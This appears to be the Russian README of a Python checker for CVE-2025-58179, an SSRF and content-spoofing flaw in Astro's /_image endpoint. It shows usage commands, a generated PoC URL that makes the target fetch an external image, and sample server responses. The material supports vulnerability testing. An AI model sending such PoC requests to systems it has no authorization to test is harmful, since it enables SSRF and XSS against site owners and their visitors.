
Скрипт Python для проверки уязвимостей SSRF и подмены содержимого (CVE-2025-58179) в конечной точке `/_image` платформы Astro, с автоматической генерацией URL PoC и проверкой HTTP-ответов.
CVE-2025-58179-Check — это простой скрипт на Python для проверки уязвимости SSRF (Server-Side Request Forgery) / Content Spoofing в конечной точке /_image фреймворка Astro.
Эта уязвимость отслеживается как GHSA-qpr4-c339-7vq8 и CVE-2025-58179.
Уязвимость затрагивает сайты на Astro, использующие адаптер @astrojs/cloudflare с конфигурацией output: 'server'. Конечная точка /_image, предназначенная для оптимизации изображений, некорректно проверяет параметр href.
Это позволяет злоумышленнику заставить сервер загружать и отдавать содержимое с любого внешнего домена. Последствия могут включать SSRF, а если внешнее содержимое является вредоносным файлом (например, SVG со скриптами), это может привести к межсайтовому скриптингу (XSS).
Скрипт автоматизирует процесс проверки, чтобы определить, уязвим ли сайт к данной проблеме.
Status 200 с Content-Type: image/*).requests (только если используется функция проверки)Установить requests можно с помощью pip:
pip install requests
CVE-2025-58179-Check.py.chmod +x CVE-2025-58179-Check.pyЭтот вариант просто выводит закодированный URL PoC. Полезно, если вы хотите проверить вручную в браузере или с помощью других инструментов.
Команда:
python CVE-2025-58179-Check.py -u <URL_ЦЕЛИ> -i <URL_ВНЕШНЕГО_ИЗОБРАЖЕНИЯ>
Пример:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
Вывод:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
Этот вариант создаёт URL и немедленно отправляет HTTP GET-запрос для проверки ответа сервера.
Команда:
python CVE-2025-58179-Check.py -u <URL_ЦЕЛИ> -i <URL_ВНЕШНЕГО_ИЗОБРАЖЕНИЯ> -r
Пример:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
Если сервер возвращает код состояния 200 и тип содержимого — изображение, это указывает на то, что сервер загрузил и отдал внешнее содержимое.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
Сервер, на котором установлено обновление или который правильно настроен, отклонит запрос к внешнему домену, обычно возвращая статус 4xx.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] ПРЕДУПРЕЖДЕНИЕ
- Этот скрипт создан в образовательных целях и для легитимного тестирования безопасности.
- Пользователь несёт полную ответственность за свои действия. Не используйте этот скрипт на системах, на которые у вас нет разрешения.